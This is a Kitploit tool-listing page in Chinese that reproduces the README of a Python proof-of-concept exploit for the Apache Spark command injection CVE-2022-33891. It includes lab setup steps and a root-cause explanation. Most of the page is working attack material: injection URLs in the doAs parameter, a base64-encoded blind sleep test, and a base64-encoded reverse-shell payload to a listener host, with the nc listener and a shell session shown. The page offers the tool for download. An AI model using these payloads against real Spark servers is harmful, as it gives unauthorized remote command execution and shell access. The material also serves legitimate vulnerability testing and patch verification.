Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2022-33891 — Apache Spark Shell 命令注入(CVE-2022-33891)的 Python 概念验证,具有基于睡眠的检测、交互式命令执行和针对易受攻击的 Spark UI 的反向 shell 功能。 | Kitploit
工具/GitHubGitHub/akbartrilaksana/cve-2022-33891
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制
GitHubakbartrilaksana/cve-2022-33891

cve-2022-33891

Apache Spark Shell 命令注入(CVE-2022-33891)的 Python 概念验证,具有基于睡眠的检测、交互式命令执行和针对易受攻击的 Spark UI 的反向 shell 功能。

查看仓库
3128个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-33891

Apache Spark Shell 命令注入漏洞

一个用于利用 Apache Spark Shell 命令注入漏洞的 Python POC。我看到网上有些其他 POC 看起来很可疑。这个简单且干净。

我并未发现此漏洞/利用方式。我只是想为社区制作一个安全的 POC ^.^

影响版本

Apache Spark 3.0.3 及更早版本、3.1.1 至 3.1.2 版本、3.2.0 至 3.2.1 版本

漏洞组件

root@kitploit:~
http://localhost:8080/?doAs=`[命令注入位置]`

示例

root@kitploit:~
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

... 休眠 10 秒

环境搭建

你需要一个易受攻击的 Spark 版本,并更改一个配置选项。

  • 安装依赖:$ pip3 install -r requirements.txt
  • 切换到 spark/ 目录。
  • 使用 spark/ 目录中提供的 docker-compose.yml 并运行 docker-compose up。等待容器启动。
  • 在另一个终端中,输入 sudo docker exec -it spark_spark_1 /bin/bash
  • 在容器 bash 会话中,输入:echo "spark.acls.enable true" >> conf/spark-defaults.conf
  • (可选)查看 spark-defaults.conf 的内容以确保配置正确。
  • 退出交互式 bash shell 并按 Ctrl-C 停止 docker-compose 进程。
  • 等容器正常关闭后,重新运行 docker-compose up

用法

root@kitploit:~
usage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]

CVE-2022-33891 Python POC 利用脚本

可选参数:
  -h, --help            显示此帮助信息并退出
  -u URL, --url URL     要利用的 URL。
  -p PORT, --port PORT  目标端口。
  --revshell            反向 Shell 选项。
  -lh LISTENINGHOST, --listeninghost LISTENINGHOST
                        你的监听主机 IP 地址。
  -lp LISTENINGPORT, --listeningport LISTENINGPORT
                        你的监听主机端口。
  --check               通过睡眠测试检查目标是否可利用。

示例

检查目标是否存在漏洞:

root@kitploit:~
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
[*] 尝试连接站点...
[*] 执行 10 秒睡眠测试...
[*] 完整利用请求:http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[+] 睡眠时间为 10 秒!目标很可能存在漏洞!

在命令提示符循环中执行命令:

root@kitploit:~
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
[*] "交互"模式!
[!] 注意:你无法从这些命令获得任何输出。尝试使用 ping 或 sleep 等命令来测试执行。
> sleep 5
[*] 完整利用请求:http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
> 

执行反向 Shell:

root@kitploit:~
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
[*] 反向 Shell 模式。
[*] 通过输入以下命令设置监听器:
 nc -nvlp 1337
[!] 监听器设置好后,按回车键!
[*] 完整利用请求:http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`

...[在另一个终端中]...

husky@dev-kde:~/spark$ nc -nvlp 1337
正在监听 0.0.0.0 1337
从 172.21.0.2 55278 接收到连接
sh: 0: 无法访问 tty;作业控制已关闭
$ whoami
spark

更多信息

命令注入的发生是因为 Spark 通过使用原始 Linux 命令检查 ?doAs 参数中传递的用户所属组。

将 id 作为用户传递会产生以下回溯错误:

root@kitploit:~
spark_1  | 22/07/20 11:55:58 INFO Utils: id: 'id': 没有此用户
spark_1  | 22/07/20 11:55:58 ERROR Utils: 进程 List(bash, -c, id -Gn 'id') 退出,代码 1: 
spark_1  | 22/07/20 11:55:58 ERROR Utils: 获取用户组时出错:'id'
spark_1  | org.apache.spark.SparkException: 进程 List(bash, -c, id -Gn 'id') 退出,代码 1

在这里,Java 决定将 id 命令传递给 bash -c 来检查指定用户的组成员身份。问题是,这也允许命令注入。

已修补的版本将此调用参数化,使用 /bin/id 命令的完整路径而不是 bash -c id

值得注意的是,在命令执行期间页面上不会回显任何内容,因此这是盲操作系统注入。你的命令会执行,但无法知道它们是否成功,甚至无法知道目标上是否存在你运行的程序。例如,本仓库中 docker-compose.yml 启动的容器没有 ping,因此通过 pingback 检查命令注入将不起作用。但你不知道这一点,所以你会一直怀疑是否成功。

睡眠测试是一个安全的选择 ^.^

参考

  • https://securityonline.info/cve-2022-33891-apache-spark-shell-command-injection-vulnerability/
  • https://nvd.nist.gov/vuln/detail/CVE-2022-33891
  • https://spark.apache.org/docs/2.1.0/configuration.html
  • https://github.com/W01fh4cker/cve-2022-33891 (我不推荐使用此 POC)
下载工具